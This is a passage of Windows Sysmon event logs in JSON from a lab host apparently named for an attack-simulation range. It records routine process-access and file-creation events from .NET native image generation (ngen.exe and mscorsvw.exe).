12:02:09.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E5E10A00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001025760D00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001025760D00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00106FD30B00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00106FD30B00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-00106FD30B00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-00106FD30B00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.650\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001082790D00}\r\nTargetProcessId: 4944\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.650","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-001082790D00}","TargetProcessId":"4944","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:09.761\r\nProcessGuid: {90617006-42C1-5F2D-0000-001082790D00}\r\nProcessId: 4944\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\SMDiagnostics.dll\r\nCreationUtcTime: 2020-08-07 12:02:09.761","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:09.761","ProcessGuid":"{90617006-42C1-5F2D-0000-001082790D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1350-0\\SMDiagnostics.dll","CreationUtcTime":"2020-08-07 12:02:09.761","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010E4840B00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010E4840B00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010E4840B00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010E4840B00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-00108D7E0D00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:09.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C1-5F2D-0000-00108D7E0D00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:09.885\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C1-5F2D-0000-001047820D00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C: